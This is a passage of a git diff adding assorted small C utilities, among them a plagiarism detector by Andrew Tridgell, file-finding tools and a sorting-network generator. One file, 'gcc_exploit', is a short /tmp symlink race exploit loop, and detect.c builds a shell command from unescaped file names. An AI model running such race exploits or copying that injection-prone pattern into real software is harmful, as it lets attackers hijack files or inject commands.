+               fflush(stdout);
+           }
+           fprintf(stderr, "read error\n");
+           exit(1);
+       }
+
+       if( line[0] == 'E' )
+           /* end of queue report */
+           break;
+       if( line[0] == 'T' ){
+           /* first line of queue report: T last-change-time time-now */
+           gettimeofday(&now, NULL);
+           our_time = double_time(&now);
+           sscanf(line+2, "%lf %lf", &last_change_time, &host_time_diff);
+           host_time_diff -= our_time;
+           continue;
+       }
+
+       /* line specifying next user in queue:
+          index user start-time { pids... } */
+       n = sscanf(line, "%d %s %lf { %d %d %d %d %s", &index,
+                  user, &start_time, &pid[0], &pid[1], &pid[2],
+                  &pid[3], more);
+       if( (n -= 3) <= 0 ){
+           /* couldn't parse line - ignore it */
+#ifdef DEBUG
+           fprintf(stderr, "bad line %s", line);
+#endif
+           continue;
+       }
+
+       /* accumulate a line to be printed in str */
+       ptr = str;
+       if( index == 0 ){
+           /* this is the running job */
+           sprint_time(&ptr, start_time);
+           sprintf(ptr, "  Run  %.20s  (pid %d", user, pid[0]);
+           ptr += strlen(ptr);
+           if( n > 1 ){
+               /* print the rest of the pids which are waiting */
+               strcpy(ptr, ", ");
+               ptr += 2;
+               sprint_pids_waiting(&ptr, pid, n, 1);
+               strcpy(ptr, " waiting");
+               ptr += 8;
+           }
+           *ptr++ = ')';
+           run_done = 1;
+
+       } else {
+           /* a user in the queue */
+           if( continuous && !run_done ){
+               /* no running job - leave a blank line for it */
+               str[0] = 0;
+               putstr(str, lnum);
+               run_done = 1;
+               timez[lnum] = 0;
+               ++lnum;
+           }
+           if( continuous && lnum >= screen_lines - 1 ){
+               /* no more room on screen */
+               if( lnum == screen_lines - 1 ){
+                   strcpy(ptr, "                (more)");
+                   ptr += strlen(ptr);
+                   start_time = 0;
+               } else
+                   ptr = NULL; /* don't print anything */
+           } else {
+               /* format this line into str */
+               sprint_time(&ptr, start_time);
+               sprintf(ptr, "  %3d  %.20s  (", index, user);
+               ptr += strlen(ptr);
+               sprint_pids_waiting(&ptr, pid, n, 0);
+               *ptr++ = ')';
+           }
+       }
+       /* print out the line we've formatted */
+       if( ptr != NULL ){
+           *ptr = 0;
+           if( continuous ){
+               putstr(str, lnum);
+               timez[lnum] = start_time;
+               ++lnum;
+           } else
+               printf("%s\n", str);
+       }
+    }
+
+    if( lnum > screen_lines )
+       lnum = screen_lines;
+    num_lines = lnum;
+
+    /* clear the remainder of the screen */
+    if( continuous && lnum < screen_lines )
+       tputs(clr_eos, screen_lines - lnum + 1, outchar);
+}
+
+/*
+ * Output a line to the screen.  In continuous mode, truncate the
+ * line to the screen width and clear the remainder of the line.
+ */
+putstr(str, lnum)
+    char *str;
+    int lnum;
+{
+    if( continuous ){
+       if( lnum < screen_lines ){
+           str[screen_width] = 0;
+           fputs(str, stdout);
+           if( strlen(str) < screen_width )
+               tputs(clr_eol, 1, outchar);
+           if( lnum < screen_lines - 1 )
+               putchar('\n');
+       }
+    } else
+       printf("%s\n", str);
+}
+
+/*
+ * Format the time since time t on the cap_host into the buffer
+ * at **pp, advancing *pp past the formatted string.
+ */
+sprint_time(pp, t)
+    char **pp;
+    double t;
+{
+    int x;
+
+    t = floor(our_time + host_time_diff - t + 0.5);
+    if( t > 3600 ){
+       x = floor(t / 3600);
+       sprintf(*pp, "%3d:", x);
+       *pp += strlen(*pp);
+       t -= x * 3600.0;
+    } else {
+       strcpy(*pp, "    ");
+       *pp += 4;
+    }
+    x = floor(t / 60);
+    sprintf(*pp, "%.2d:%.2d", x, (int)(t - x * 60));
+    *pp += strlen(*pp);
+}
+
+/*
+ * Format a list of pids waiting into **pp, advancing *pp.
+ */
+sprint_pids_waiting(pp, pid, n, i)
+    char **pp;
+    int pid[], n, i;
+{
+    sprintf(*pp, "pid%s %d", (n > i+1? "s": ""), pid[i]);
+    *pp += strlen(*pp);
+    for( ++i; i < n && i < 4; ++i ){
+       sprintf(*pp, ", %d", pid[i]);
+       *pp += strlen(*pp);
+    }
+    if( n >= 5 ){
+       strcpy(*pp, ", ...");
+       *pp += 5;
+    }
+}
+
+/*
+ * Update the times displayed for each user.
+ */
+update_times()
+{
+    double t;
+    int i;
+    struct timeval now;
+    char *ptr, str[12];
+
+    gettimeofday(&now, NULL);
+    our_time = double_time(&now);
+    for( i = 0; i < num_lines; ++i ){
+       ptr = str;
+       if( (t = timez[i]) != 0 ){
+           sprint_time(&ptr, t);
+           if( screen_width < sizeof(str) )
+               str[screen_width] = 0;
+           *ptr = 0;
+           printf("%s", str);
+       }
+       if( i < num_lines - 1 )
+           printf("\n");
+    }
+}
+
+/*
+ * Establish a TCP/IP connection with the process at the given hostname
+ * and port number.
+ */
+int
+connect_tcp(host, port)
+    char *host;
+    int port;
+{
+    int fd;
+    unsigned long hnum;
+    struct hostent *hent;
+    struct sockaddr_in addr;
+
+    hnum = inet_addr(host);
+    if( hnum == -1 ){
+       hent = gethostbyname(host);
+       if( hent == NULL ){
+           fprintf(stderr, "hostname %s not recognized\n", host);
+           return -1;
+       }
+       hnum = *(unsigned long *)(hent->h_addr_list[0]);
+    }
+
+    if( (fd = socket(PF_INET, SOCK_STREAM, 0)) < 0 ){
+       perror("socket");
+       return -1;
+    }
+
+    bzero(&addr, sizeof(addr));
+    addr.sin_family = AF_INET;
+    addr.sin_port = htons(port);
+    addr.sin_addr.s_addr = hnum;
+
+    if( connect(fd, &addr, sizeof(addr)) < 0 ){
+       perror("connect");
+       return -1;
+    }
+
+    return fd;
+}
diff --git a/checkcode.c b/checkcode.c
new file mode 100644 (file)
index 0000000..3ef9c10
--- /dev/null
@@ -0,0 +1,16 @@
+int checkcode(char *code)
+{
+       int i, sum;
+
+       sum = 0;
+
+       for (i=0;code[i];i++) {
+               sum += i%2==0 ? 3*code[i] : 2*code[i];
+       }
+       return sum % 10;
+}
+
+main(int argc, char *argv[])
+{
+       printf("%s: %d\n", argv[1], checkcode(argv[1]));
+}
diff --git a/crash.c b/crash.c
new file mode 100644 (file)
index 0000000..c3babf3
--- /dev/null
+++ b/crash.c
@@ -0,0 +1,9 @@
+#include <stdio.h>
+
+
+main()
+{
+  char *x = NULL;
+
+  x[3] = 3;
+}
diff --git a/critical.c b/critical.c
new file mode 100644 (file)
index 0000000..767ea54
--- /dev/null
@@ -0,0 +1,40 @@
+volatile int count1=0;
+volatile int count2=0;
+
+volatile int in_critical_section = 0;
+
+void sig_handler()
+{
+  if (in_critical_section) {
+    count1++;
+  } else {
+    do_signal_work();
+  }
+}
+
+
+void mainline(void)
+{
+  in_critical_section = 1;
+
+  do_normal_work();
+
+  while (count1 != count2) {
+    do_signal_work();
+    count2++;
+  }
+  in_critical_section = 0;
+
+  while (count1 != count2) {
+    /* here we have to block signals, but we expect it almost never to
+     * happen.  it will only happen if a signal arrives between the
+     * end of the first while loop and the unsetting of the
+     * in_critical_section flag, which should be so rare that the
+     * performance hit will be tiny
+     */
+    block_signals();
+    do_signal_work();
+    count2++;
+    unblock_signals();
+  }
+}
diff --git a/detect.c b/detect.c
new file mode 100644 (file)
index 0000000..ff6e601
--- /dev/null
+++ b/detect.c
@@ -0,0 +1,717 @@
+/*****************************************************************************
+A simple C program to detect plagiarism
+
+Idea:
+
+- create a list of words in the files
+- foreach word create a bitmap of where they occurred 
+- ignore words that occur in a large proportion of files
+- produce a matrix of co-occurances
+- output the pairs with the highest co-occurances
+
+
+Enhancements:
+- two thresholds, one for rating matches, one for display of matches
+- ignore strings; allowing certain chars to be skipped in the input
+- enable ther use of a filter script to read files
+- added weighting
+- added "suspicious" files.
+- added token concatenation
+
+Andrew Tridgell, May 1994
+
+******************************************************************************/
+#include <stdio.h>
+#include <unistd.h>
+#include <stdlib.h>
+#include <string.h>
+#include <math.h>
+#include <ctype.h>
+
+typedef enum {False=0,True=1} BOOL;
+
+/* experimental ? */
+BOOL beta = False;
+
+/* should I be case sensitive? */
+BOOL case_sensitive = False;
+
+/* how big can a word get? */
+#define MAX_WORD_LEN 500
+
+/* how many files are we processing? */
+int num_files = 0;
+
+/* the names of the files we are processing - normally stolen from argv */
+char **file_names = NULL;
+
+/* how many words have we found? */
+int num_words = 0;
+
+/* a list of chars to ignore - can be interesting */
+char ignore_chars[MAX_WORD_LEN] = "";
+
+/* what debug level? */
+int debug = 0;
+
+
+/* will I add new words to the word list ? */
+BOOL add_words = True;
+
+/* shall I weight the answers ? */
+BOOL do_weighting = True;
+
+/* shall I concatenate all adjacent words to form word pairs? */
+BOOL concat_words = False;
+
+/* a suspicious filename */
+char *suspicious_file = NULL;
+
+/* how to write a boolean */
+#define bool_str(v) ((v)?"True":"False")
+
+/* 
+a list of all the words found and where they occurred 
+*/
+struct word
+{
+  int count; /* how many files this word occurs in */
+  char *word; /* text of word */
+  BOOL *occurred; /* yes/no has occurred in this file */
+} *words = NULL;
+
+/***************************************************************************** 
+like realloc() but can start from scratch, and exits if there is an error
+******************************************************************************/
+void *Realloc(void *ptr,int size)
+{
+  if (!ptr)
+    ptr = malloc(size);
+  else
+    ptr = realloc(ptr,size);
+  if (!ptr)
+    {
+      printf("Can't allocate %d bytes\n",size);
+      exit(0);
+    }
+  return(ptr);
+}
+
+/*****************************************************************************
+return a filename
+******************************************************************************/
+char *FileName(int i)
+{
+  if (i < num_files)
+    return(file_names[i]);
+  return(suspicious_file);
+}
+
+
+/*****************************************************************************
+decide if two words are equal
+******************************************************************************/
+BOOL wordequal(char *word1,char *word2)
+{
+  if (case_sensitive)
+    return(strcmp(word1,word2) == 0);
+  else
+    return(strcasecmp(word1,word2) == 0);
+}
+
+
+/***************************************************************************** 
+find an insertion position for a new word
+******************************************************************************/
+int insert_position(char *word)
+{
+  int high_i = num_words;
+  int low_i = 0;
+  int guess,ret;
+
+  /* do a bisection search - this assumes the list is kept ordered */
+  while (high_i > low_i)
+    {
+      guess = (high_i + low_i)/2;
+      if (case_sensitive)
+       ret = strcmp(word,words[guess].word);
+      else
+       ret = strcasecmp(word,words[guess].word);
+      if (ret == 0)
+       return(guess);
+      if (ret > 0)
+       low_i = guess+1;
+      if (ret < 0)
+       high_i = guess;
+    }
+  return(low_i);
+}
+
+
+/***************************************************************************** 
+ask if a word has occurred before - return word index if it has 
+return -1 if not
+******************************************************************************/
+int find_word(char *word)
+{
+  int ret;
+  
+  /* we can take advantage of the order of the words */
+  ret = insert_position(word);
+  if (ret >= num_words || !wordequal(word,words[ret].word))
+    return(-1);
+  return(ret);
+
+}
+
+
+/***************************************************************************** 
+Insert a word into the list of words that have occurred.
+If the word already exists then just set the occured bit for the filenum
+******************************************************************************/
+void insert_word(char *word,int filenum)
+{
+  int wordnum,i;
+  wordnum = find_word(word);
+
+  if (wordnum < 0 && !add_words)
+    return;
+
+  if (wordnum < 0)
+    {
+      if (debug > 0)
+       printf("new word %s from filenum %d\n",word,filenum);
+
+      wordnum = insert_position(word);
+      words = (struct word *)Realloc(words,sizeof(struct word)*(num_words+1));
+      num_words++;
+
+      for (i=num_words-2;i>=wordnum;i--)
+       words[i+1] = words[i];
+
+      words[wordnum].count=0;
+      words[wordnum].word = strdup(word);
+      words[wordnum].occurred = 
+       (BOOL *)Realloc(NULL,sizeof(BOOL)*(num_files+1));
+       
+      for (i=0;i<=num_files;i++) words[wordnum].occurred[i] = False;
+    }
+
+  if (!words[wordnum].occurred[filenum]) words[wordnum].count++;
+  words[wordnum].occurred[filenum] = True;
+}
+
+/*****************************************************************************
+dump the word occurrance table
+******************************************************************************/
+void dump_word_table(void)
+{
+  int i,j;
+  for (i=0;i<num_words;i++)
+    {
+      printf("%20.20s ",words[i].word);
+      for (j=0;j<=num_files;j++)
+       {
+         if (words[i].occurred[j])
+           printf("1 ");
+         else
+           printf("  ");
+       }
+      printf("\n");
+    }
+}
+
+/*****************************************************************************
+read one character - skipping over the chars in ignore
+******************************************************************************/
+int Read(FILE *f,char *ignore)
+{
+  int ch = fgetc(f);
+  if (ch == EOF) return(EOF);
+  if (*ignore && (strchr(ignore,(char)ch) != NULL))
+    return(Read(f,ignore));
+  return(ch);
+}
+
+/*****************************************************************************
+get a word from a stream. return the word. return NULL if no more words 
+exist. possibly skip comments?
+******************************************************************************/
+char *get_word(FILE *f)
+{
+  static char word[MAX_WORD_LEN+1];
+  int word_len = 0;
+  char ch;
+
+  strcpy(word,"");
+
+  /* skip over non alphanum chars */
+  while ((ch = Read(f,ignore_chars)) != EOF)
+    {
+      if (isalnum(ch)) break;
+    }
+  if (ch == EOF) return(NULL);
+
+  word[word_len++] = ch;
+  
+  /* grab all the alphanums */
+  while (word_len < MAX_WORD_LEN && (isalnum(ch = Read(f,ignore_chars))))
+    word[word_len++] = ch;
+
+  word[word_len] = '\0';
+  return(word);
+}
+
+
+/* used for cheating matrix */
+struct pair
+{
+  int i,j;
+  int count;
+} *mat = NULL;
+
+/***************************************************************************** 
+   compare 2 pair structures - used for sorting 
+******************************************************************************/
+int pair_compare(struct pair *t1,struct pair *t2)
+{
+  return(t2->count - t1->count);
+}
+
+/***************************************************************************** 
+   compare 2 word structures - used for sorting 
+******************************************************************************/
+int words_compare(struct word *t1,struct word *t2)
+{
+  if (t2->count == t1->count)
+    return(strcmp(t1->word,t2->word));
+  return(t1->count - t2->count);
+}
+
+/***************************************************************************** 
+form the cheating matrix. 
+The match between two files is increased if
+the word occurs in both files but doesn't occur in more than THRESH % of files.
+******************************************************************************/
+void cheat_matrix(double threshold1,double threshold2,double output_thresh)
+{
+  int i,j,wordnum;
+  int max_matches1,max_matches2;
+  int output_count;
+
+  /* max matches can't be less than 2 */
+  if (threshold1 >= 1.0)
+    max_matches1 = threshold1;
+  else
+    max_matches1 = num_files * threshold1;
+  if (max_matches1 < 2) max_matches1 = 2;
+
+  if (threshold2 > 1.0)
+    max_matches2 = threshold2;
+  else
+    max_matches2 = num_files * threshold2;
+  if (max_matches2 < max_matches1) max_matches2 = max_matches1;
+
+
+  if (output_thresh >= 1.0)
+    output_count = output_thresh;
+  else
+    output_count = output_thresh * num_files;
+  if (output_count < 1) output_count = 1;
+  if (output_count > num_files) output_count = num_files;
+  
+
+#define CMAT(i,j) mat[(i)*(num_files+1) + j]
+
+  /* alloc the cheat matrix */
+  mat = (struct pair *)Realloc(mat,(num_files+1)*(num_files+1)*sizeof(*mat));
+
+  /* reset it */
+  for (i=0;i<=num_files;i++)
+    for (j=0;j<=num_files;j++)
+      {
+       CMAT(i,j).i = i; CMAT(i,j).j = j;
+       CMAT(i,j).count=0;
+      }
+
+  /* process the words one at a time */
+  for (wordnum=0;wordnum<num_words;wordnum++)
+    {
+      int occurrances = words[wordnum].count;
+
+      /* if the word is very common then forget it */
+      if (occurrances > max_matches1)
+       {
+         if (debug > 3)
+           printf("ignoring common word %s (%d occurrances)\n",
+                  words[wordnum].word,occurrances);
+
+         if (occurrances > max_matches2)
+           words[wordnum].count = 0;
+
+         continue;
+       }      
+
+      if (debug > 3)
+       printf("%s occurred %d times\n",words[wordnum].word,occurrances);
+
+      /* increment possible cheaters */
+      for (i=0;i<=num_files;i++)
+       {
+         if (words[wordnum].occurred[i])
+           for (j=i+1;j<=num_files;j++)
+                   if (words[wordnum].occurred[j]) {
+                           if (do_weighting) {
+                                   CMAT(i,j).count += ((max_matches1+1) - words[wordnum].count);
+                           }   else {
+                                   CMAT(i,j).count++;
+                           }
+                   }
+       }            
+    }
+
+  /* sort them */
+  qsort(mat,(num_files+1)*(num_files+1),sizeof(*mat),(int (*)())pair_compare);
+
+  /* sort the wordlist so least frequent words are at the top */
+  qsort(words,num_words,sizeof(*words),(int (*)())words_compare);
+
+  /* find the highest */
+  {
+    int f;
+    for (f=0;f<output_count;f++)
+      if (mat[f].count > 0)
+       {
+         i = mat[f].i; j = mat[f].j;
+         printf("scored %3d in (%s %s)\n",mat[f].count,
+                FileName(i),
+                FileName(j));
+       
+         for (wordnum=0;wordnum<num_words;wordnum++)
+           {
+             if (words[wordnum].count>0 &&
+                 words[wordnum].occurred[i] && 
+                 words[wordnum].occurred[j])
+               printf("%s(%d) ",words[wordnum].word,words[wordnum].count);
+           }            
+         printf("\n\n");
+       }
+  }
+}
+
+
+/*****************************************************************************
+process one file
+******************************************************************************/
+void process_one(char *filename,char *filter_prog,int filenum)
+{
+  FILE *f;
+  char *word;
+  static char lastword[MAX_WORD_LEN+1];
+
+  if (filter_prog)
+    {
+      char cmd[1000];
+      sprintf(cmd,"cat %s | %s",filename,filter_prog);
+      f = popen(cmd,"r");
+    }
+  else
+    f = fopen(filename,"r");
+
+  if (!f) 
+    {
+      perror(filename);
+      return;
+    }
+
+  if (debug > 0)
+    printf("processing file %s\n",filename);
+
+  fflush(stdout);
+
+  while ((word = get_word(f)) != NULL) {
+         insert_word(word,filenum);
+         if (concat_words) {
+                 strcat(lastword, word);
+                 insert_word(lastword,filenum);
+                 strcpy(lastword, word);
+         }
+  }
+  if (filter_prog)
+    pclose(f);
+  else
+    fclose(f);
+}
+
+
+/*****************************************************************************
+process the files by opening them and getting the words
+******************************************************************************/
+void process_files(char *filter_prog)
+{
+  int i;
+
+  if (suspicious_file)
+    {
+      process_one(suspicious_file,filter_prog,num_files);
+      add_words = False;
+    }
+
+  for (i=0;i<num_files;i++)
+    {
+      if (suspicious_file && strcmp(suspicious_file,FileName(i))==0)
+       continue;
+
+      printf(".");
+      process_one(FileName(i),filter_prog,i);
+    }
+
+  printf("\nfinished initial processing\n");
+}
+
+/*****************************************************************************
+usage of the program
+******************************************************************************/
+void usage(void)
+{
+  printf("detect: find cheaters by looking at token similarities between files\n");
+  printf("\ndetect [options] <files..>\n");
+  printf("\t-h = give extended help and examples of use (RECOMMENDED)\n");
+  printf("\t-c = be case sensitive\n");
+  printf("\t-n num = output the top n pairs (default top 20%%)\n");
+  printf("\t-t thresh = set threshold1 (default 3)\n");
+  printf("\t-T thresh = set threshold2 (default 10)\n");
+  printf("\t-C concatenate adjacent tokens to make new tokens (very useful!)\n");
+  printf("\t-I ignore_str = ignore these chars in the file\n");
+  printf("\t-f prog = filter the files through the given program\n");
+  printf("\t-s filename = only look for matches to this particular suspicious file\n");
+  printf("\t-w toggle weighting of the score by (threshold1-frequency) (default True)\n");
+  printf("\n");
+}
+
+/*****************************************************************************
+provide extended help
+******************************************************************************/
+void help(void)
+{
+  /* NOTE: this bit of text relies on a compiler that can handle new */
+  /* lines in string literals. gcc is good at this */
+
+  char *help_txt = "
+This program tries to identify common words between a list of files
+in an attempt to find cases of plagiarism. 
+
+Algorithm:
+==========
+
+1) Build a list words that occur in the files, and a bitmap of which
+   words occur in which files.
+2) Discard any words that occur in more than <threshold2> files
+3) Produce a matrix M where M(i,j) is the number of times a word was
+   used both in file i and file j, not counting words that occur in
+   more than <threshold1> files.
+4) Sort this matrix to produce the top <n> pairs, weighting by
+   how infrequent the words are.
+5) Write out the pairs along with what words matched between them and
+   the frequency of those words.
+
+
+Interpreting the output:
+========================
+
+Here is some sample output.
+
+scored  13 in (stu1.mod,stu2.mod)
+AveAss(2) CalculateAss(2) OutputResult(2) StuMark(2) stuNum(2)
+InputFile(3) MaxAss(3) ReadAss(3) index(4) TutTotal(5)
+
+This means that these two files (stu1.mod and stu2.mod) both contained
+all the identifiers listed. The identifiers with a (2) after them
+occurred only in these two files. The identifier TutTotal was used in
+5 files and is therefore less suspicious.
+
+Example 1:
+==========
+
+   detect *.mod
+
+This will find common tokens between a list of modula files, listing
+which files have lots of common tokens, what the common tokens are and
+how common those tokens are across all the files.
+
+Example 2:
+==========
+
+  detect -c -n 10 -t 2 -T 20 -I ',_ ' *.c
+
+This will look in a bunch of C progs, and rank the pairs that used
+tokens that were used by only 2 files. It will list common tokens
+between the files up to those tokens used by 20 files. It will skip
+over all underscores, commas and spaces. This last step is useful to
+catch people who just inserted underscores. Skipping spaces and commas
+has the effect of treating whole argument lists as a single word which
+can be a very effective technique. This example will also be case
+sensitive in comparisons. It will only show the top 10 matching pairs.
+
+Example 3:
+==========
+
+  detect -f 'grep PROCEDURE' *.mod
+
+This will only look at lines that have the word PROCEDURE in them.
+This can be good for checking only whether procedure names match.
+
+
+Example 4:
+==========
+   detect -s stu1.mod *.mod
+
+This will only look for matches between the 'suspicious file' stu1.mod
+and all the other files. This is useful to detect cheating where you
+suspect a particular person, or to find a group who collaborated once
+you find one pair that are a good match.
+
+Example 5:
+==========
+  detect -w *.mod
+
+This will disable weighting of the scores by (threshold1-frequency)
+thus making all matches of equal weight.
+
+Example 6:
+==========
+
+  detect -C `find . -name \"*.txt\"`
+
+This will process all text files below the current directory and will
+also enable token concatenation. Token concatenation is very useful as
+it builds a much larger token pool with much less common tokens. It is
+particularly useful for essay type assignments which lack unique
+programming identifiers.
+
+Advanced Notes:
+===============
+
+*) The filter programs used by -f can be any program that reads from
+   standard input and writes to standard output. 
+
+*) The two thesholds and the output count can be given either as a
+   proportion of the total number of files or as a absolute count. Thus
+   `-t 0.05' will set the first threshold to 5% of the total number of
+   files. Any number less than 1 is interpreted as a proportion.
+
+
+Author:
+=======
+
+ Andrew Tridgell
+ Andrew.Tridgell@anu.edu.au
+
+";
+
+
+  usage();
+  puts(help_txt);
+
+}
+
+
+
+/*****************************************************************************
+the main program 
+******************************************************************************/
+int main(int argc,char **argv)
+{
+  double threshold1 = 3;
+  double threshold2 = 10;
+  double output_thresh = 0.2;
+  char *filter_prog=NULL;
+
+  int opt;
+  extern char *optarg;
+  extern int optind;
+
+  /* get some options */
+  while ((opt = getopt (argc, argv, "Cwct:T:I:d:hbf:n:s:")) != EOF)
+    switch (opt)
+      {
+      case 'n':
+       output_thresh = atof(optarg);
+       break;
+      case 'f':
+       filter_prog = strdup(optarg);
+       break;
+      case 'h':
+       help();
+       exit(0);
+      case 'c':
+       case_sensitive = !case_sensitive;
+       break;
+      case 'C':
+       concat_words = !concat_words;
+       break;
+      case 'w':
+       do_weighting = !do_weighting;
+       break;
+      case 'b':
+       beta = !beta;
+       break;
+      case 't':
+       threshold1 = atof(optarg);
+       break;
+      case 'T':
+       threshold2 = atof(optarg);
+       break;
+      case 'I':
+       strcat(ignore_chars,optarg);
+       break;
+      case 'd':
+       debug = atoi(optarg);
+       break;
+      case 's':
+       suspicious_file = strdup(optarg);
+       break;
+      default:
+       usage();        
+       exit(0);        
+      }
+
+  /* get the file names */
+  num_files = argc-optind;
+  file_names = &argv[optind];
+
+  if (num_files < 2)
+    {
+      usage();
+      exit(0);
+    }
+
+  printf("\nProcessing %d files\n",num_files);
+
+  if (suspicious_file)
+    printf("Suspicious file = %s\n",suspicious_file);
+
+  printf("Weighting=%s\tCase Sensitive=%s\n",
+        bool_str(do_weighting),bool_str(case_sensitive));
+
+  printf("Threshold1=%g\tThreshold2=%g\n",threshold1,threshold2);
+
+  if (*ignore_chars)
+    printf("Ignoring chars `%s'\n",ignore_chars);
+
+  if (filter_prog)
+    printf("Filtering with `%s'\n",filter_prog);
+
+  /* process the files */
+  process_files(filter_prog);
+
+  if (debug > 2)
+    dump_word_table();
+
+  /* and get the matches */
+  cheat_matrix(threshold1,threshold2,output_thresh);
+
+  return 0;
+}
diff --git a/dosstrip.c b/dosstrip.c
new file mode 100644 (file)
index 0000000..e4385d2
--- /dev/null
@@ -0,0 +1,11 @@
+#include <stdio.h>
+
+main()
+{
+       int c;
+       while ((c=getchar()) != -1) {
+               if (c == '\r') continue;
+               putchar(c);
+       }
+}
+
diff --git a/findbroken.c b/findbroken.c
new file mode 100644 (file)
index 0000000..5f5619d
--- /dev/null
@@ -0,0 +1,65 @@
+#include <stdio.h>
+#include <unistd.h>
+#include <stdlib.h>
+#include <dirent.h>
+#include <sys/stat.h>
+
+
+static void findit(char *dir)
+{
+       DIR *d;
+       struct dirent *de;
+       
+       d = opendir(dir);
+       if (!d) return;
+       
+       
+       while ((de = readdir(d))) {
+               char *fname;
+               struct stat st, st2;
+               
+               if (strcmp(de->d_name,".")==0) continue;
+               if (strcmp(de->d_name,"..")==0) continue;
+               
+               fname = (char *)malloc(strlen(dir) + strlen(de->d_name) + 2);
+               if (!fname) {
+                       fprintf(stderr,"out of memory\n");
+                       exit(1);
+               }
+               sprintf(fname,"%s/%s", dir, de->d_name);
+               
+               if (lstat(fname, &st)) {
+                       perror(fname);
+                       continue;
+               }
+               
+               if (S_ISLNK(st.st_mode) && 
+                   (stat(fname,&st2) || st2.st_uid != st.st_uid)) {
+                       char buf[1024];
+                       readlink(fname, buf, sizeof(buf)-1);
+                       printf("%s -> %s\n", fname, buf);
+               }
+               
+               if (S_ISDIR(st.st_mode)) {
+                       findit(fname);
+               }
+               
+               free(fname);
+       }
+       
+       closedir(d);
+}
+
+
+int main(int argc, char *argv[])
+{
+       int size;
+       
+       if (argc < 2) {
+               fprintf(stderr,"%s: <dir>\n", argv[0]);
+               exit(1);
+       }
+       
+       findit(argv[1]);
+       return 0;
+}
diff --git a/findlarge.c b/findlarge.c
new file mode 100644 (file)
index 0000000..ac8c41b
--- /dev/null
@@ -0,0 +1,65 @@
+#include <stdio.h>
+#include <unistd.h>
+#include <stdlib.h>
+#include <dirent.h>
+#include <sys/stat.h>
+
+
+void findit(int size, char *dir)
+{
+  DIR *d;
+  struct dirent *de;
+
+  d = opendir(dir);
+  if (!d) return;
+
+
+  while ((de = readdir(d))) {
+    char *fname;
+    struct stat st;
+
+    if (strcmp(de->d_name,".")==0) continue;
+    if (strcmp(de->d_name,"..")==0) continue;
+
+    fname = (char *)malloc(strlen(dir) + strlen(de->d_name) + 2);
+    if (!fname) {
+      fprintf(stderr,"out of memory\n");
+      exit(1);
+    }
+    sprintf(fname,"%s/%s", dir, de->d_name);
+
+    if (lstat(fname, &st)) {
+      perror(fname);
+      continue;
+    }
+
+    if (st.st_size >= size) {
+      printf("%s %dk\n", fname, (int)(st.st_size/1024));
+    }
+
+    if (S_ISDIR(st.st_mode)) {
+      findit(size, fname);
+    }
+
+    free(fname);
+  }
+
+  closedir(d);
+  
+}
+
+
+int main(int argc, char *argv[])
+{
+  int size;
+
+  if (argc < 3) {
+    fprintf(stderr,"%s: <minsize> <dir>\n", argv[0]);
+    exit(1);
+  }
+
+  size = atoi(argv[1]);
+
+  findit(size, argv[2]);
+  return 0;
+}
diff --git a/fn.c b/fn.c
new file mode 100644 (file)
index 0000000..f7a7511
--- /dev/null
+++ b/fn.c
@@ -0,0 +1,15 @@
+#include <stdlib.h>
+#include <fnmatch.h>
+
+int main()
+{
+  char *pattern = "a/*/e";
+  char *path = "a/b/c/d/e";
+  int i;
+
+  i = fnmatch(pattern,path,0);
+  printf("fnmatch w/out FNM_PATHNAME: %d\n",i);
+  i = fnmatch(pattern,path,FNM_PATHNAME);
+  printf("fnmatch w/ FNM_PATHNAME: %d\n",i);
+  return 0;
+}
diff --git a/gcc_exploit b/gcc_exploit
new file mode 100755 (executable)
index 0000000..1448b39
--- /dev/null
@@ -0,0 +1,8 @@
+#!/bin/sh
+
+while [ 1 ]; do
+tmpfile=`ps auxwww | grep tmp | egrep -v 'grep|sed' | sed "s|.*/tmp/||g"`
+if [ "$tmpfile" != "" ]; then
+ ln -s /tmp/success /tmp/$tmpfile
+fi
+done
diff --git a/hyper.c b/hyper.c
new file mode 100644 (file)
index 0000000..1d7bc6f
--- /dev/null
+++ b/hyper.c
@@ -0,0 +1,119 @@
+static void hyper_sort(int base,int number,void (*makesmaller)())
+{
+  int i;
+  if (number==1) return;
+  for (i=0;i<(number/2);i++)
+    makesmaller(base+i,base+i+((number+1)/2));
+
+  hyper_sort(base+number/2,(number+1)/2,makesmaller);
+  hyper_sort(base,number - (number+1)/2,makesmaller);
+}
+
+
+static void batchers_sort(int baseP,int N,void (*makesmaller)())
+{
+  int  p, initq, q, r, d, x;
+
+  for (p=1; (1<<(p+1))<=N+1; p++);
+  p = 1<<p;
+  
+  for (initq=p; p>0; p/=2) 
+    {
+      q = initq;
+      r = 0;
+      d = p;
+      do 
+       {
+         for (x=0; x<N-d; x++)
+           if ( (x & p) == r) 
+             makesmaller(baseP+x,baseP+x+d);
+         d = q - p;
+         q /= 2;
+         r = p;
+       } while (q != p/2);
+    }
+}
+
+#define MAX_STEPS 10000
+struct pair {
+  int n1,n2,step;
+};
+
+struct pair steps[MAX_STEPS];
+
+static int N=0;
+
+void makesmaller(int n1,int n2)
+{
+  steps[N].n1 = n1;
+  steps[N].n2 = n2;
+  steps[N].step = N;
+  N++;
+}
+
+
+int conflict(struct pair *p,int step)
+{
+  int i;
+  for (i=0;i<N;i++)
+    if (step == steps[i].step && 
+       (steps[i].n1 == p->n1 ||
+        steps[i].n1 == p->n2 ||
+        steps[i].n2 == p->n1 ||
+        steps[i].n2 == p->n2))
+      return(1);
+  return(0);
+}
+
+void reduce()
+{
+  int changed;
+
+  do {
+    int i;
+    changed = 0;
+
+    for (i=0;i<N;i++) {
+      if (steps[i].step>0 && !conflict(&steps[i],steps[i].step-1)) {
+       steps[i].step--;
+       changed=1;
+      }
+    }
+
+  } while (changed);
+}
+
+
+int comparison(struct pair *p1,struct pair *p2)
+{
+  if (p1->step != p2->step) return(p1->step - p2->step);
+  if (p1->n1 != p2->n1) return(p1->n1 - p2->n1);
+  if (p1->n2 != p2->n2) return(p1->n2 - p2->n2);
+  return(0);
+}
+
+void printout()
+{
+  int i;
+  int step=0;
+  for (i=0;i<N;i++) {
+    if (steps[i].step != step) {
+      printf("\n");
+      step++;
+    }
+    printf("%d:  %d %d\n",steps[i].step,steps[i].n1,steps[i].n2);
+  }
+  printf("\n%d steps\n",step+1);
+}
+
+
+main(int argc,char *argv[])
+{
+  batchers_sort(0,atoi(argv[1]),makesmaller);
+
+  reduce();
+
+  qsort(&steps[0],N,sizeof(struct pair),comparison);
+
+  printout();
+}
diff --git a/irq.c b/irq.c
new file mode 100644 (file)
index 0000000..b2e1a14
--- /dev/null
+++ b/irq.c
@@ -0,0 +1,94 @@
+#define __USE_BSD_SIGNAL 1
+
